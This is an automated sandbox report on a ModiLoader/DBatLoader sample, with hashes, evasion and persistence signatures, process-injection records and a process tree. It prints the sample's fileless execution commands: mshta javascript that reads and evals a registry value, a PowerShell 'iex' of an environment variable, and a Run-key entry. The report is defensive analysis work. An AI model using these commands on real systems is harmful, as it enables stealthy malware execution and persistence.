Analysis
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max time kernel
150s -
max time network
149s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
04-05-2024 11:50
Static task
static1
Behavioral task
behavioral1
Sample
129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe
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Size
359KB
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MD5
129ba487da065ef14c609bc533fe906b
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SHA1
7f60c9419356ba46e134821b43361dd64e9175c6
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SHA256
d4165866be3c391c105ad37f159754c67df29548328c3384e6d28eac752ebb30
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SHA512
883f2c0af7c5cefeed37de8e8f7e268ebc0fd98c6ad099493a6e04e9ddee8dc1601115ae8b61ace24937be88139f247dbcbd3f37d94e0b004b93266d9a42f7df
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SSDEEP
6144:AVwrcMnYrT3dPpkFAPHXKcrzpz4pH1y8p39ijXuCN1/sIx9:mwrctrx4Af6wp4pHQ8J9ij+CN7D
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2036 2972 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 57 IoCs
Processes:
resource yara_rule behavioral1/memory/2316-1-0x0000000000400000-0x000000000045FCB0-memory.dmp modiloader_stage2 behavioral1/memory/2316-2-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2316-6-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2316-4-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2316-7-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2316-3-0x0000000000400000-0x000000000045FCB0-memory.dmp modiloader_stage2 behavioral1/memory/2316-5-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2316-8-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2316-9-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2688-14-0x0000000006140000-0x000000000621C000-memory.dmp modiloader_stage2 behavioral1/memory/2440-15-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-18-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2688-17-0x0000000006140000-0x000000000621C000-memory.dmp modiloader_stage2 behavioral1/memory/2440-27-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-31-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-39-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-46-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-47-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-41-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-38-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-37-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-36-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-35-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-40-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-51-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-52-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-50-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2316-55-0x0000000001E00000-0x0000000001EDC000-memory.dmp modiloader_stage2 behavioral1/memory/2440-49-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-48-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-34-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-33-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-32-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-30-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-29-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-28-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-26-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-25-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-24-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-23-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-22-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-21-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-20-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2440-19-0x0000000000130000-0x000000000027A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-61-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-69-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-73-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-72-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-71-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-70-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-68-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-67-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-66-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-65-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-64-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-63-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 behavioral1/memory/2928-62-0x0000000000200000-0x000000000034A000-memory.dmp modiloader_stage2 -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 2440 regsvr32.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\7976b135\\51dd6a1e.bat\"" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
powershell.exeregsvr32.exedescription pid process target process PID 2688 set thread context of 2440 2688 powershell.exe regsvr32.exe PID 2440 set thread context of 2928 2440 regsvr32.exe regsvr32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Processes:
regsvr32.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe -
Modifies registry class 7 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9 regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open\command regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\85b167c9\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:a8A5lVOu=\"jDw7O\";e0q5=new ActiveXObject(\"WScript.Shell\");LF5G8HAh=\"3a1\";A9RsG=e0q5.RegRead(\"HKCU\\\\software\\\\pzadcohmp\\\\jhpvhyp\");eVeSV3QL=\"Ly9iN\";eval(A9RsG);a5X9Ynq=\"jX3Pb\";\"" regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc2701 regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.939cc2701\ = "85b167c9" regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 2688 powershell.exe 2688 powershell.exe 2688 powershell.exe 2688 powershell.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe 2440 regsvr32.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
Processes:
powershell.exeregsvr32.exepid process 2688 powershell.exe 2440 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2688 powershell.exe -
Suspicious use of WriteProcessMemory 20 IoCs
Processes:
mshta.exepowershell.exeregsvr32.exedescription pid process target process PID 2036 wrote to memory of 2688 2036 mshta.exe powershell.exe PID 2036 wrote to memory of 2688 2036 mshta.exe powershell.exe PID 2036 wrote to memory of 2688 2036 mshta.exe powershell.exe PID 2036 wrote to memory of 2688 2036 mshta.exe powershell.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2688 wrote to memory of 2440 2688 powershell.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe PID 2440 wrote to memory of 2928 2440 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\129ba487da065ef14c609bc533fe906b_JaffaCakes118.exe"1⤵PID:2316
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:q3XJZV1="g";X0i=new%20ActiveXObject("WScript.Shell");Xzdj5="bmHvwCW";N00exd=X0i.RegRead("HKCU\\software\\etTpFC\\BfgV7J5");LBlTIkv3="I";eval(N00exd);L0DfI8="s0LZg";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
PID:2036 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:bnsysg2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2688 -
C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:2440 -
C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵PID:2928
Network
MITRE ATT&CK Enterprise v15
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Replay Monitor
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Downloads
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Filesize
73B
MD5811be83d03f311a2c219477eb9daafc9
SHA1aa5ff34b0a51370c3bbc0c5e60f570814b4114a4
SHA256d8fe518037c7eb92329c94e2a977a32225f30cf48c62f6e7d0a2b09cc33f7c1d
SHA512d4ec86a4d2c49086e9de8c1fec16e7a70c28d01690d6171dc146b70318df5065d35c3c4e03608a20a425d6f5b719f0ef618175a5b4910613308eda78d12129c5
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Filesize
28KB
MD5ee93d22cc0699da3868bd92ccfcddbac
SHA11cb7e64c502c812348166653329fb8b9b1938427
SHA256b5caa39123809006858534b451e5e8b3f10a8af9303e3406678c880e44275548
SHA512581fa51c650cd2e033d883d918b670083aec850eda37e9d29e46558edbbd4a8d803e26fc31e6a59464daddcfaaf005f8e7755c1d5293e5379ec1611f92859be7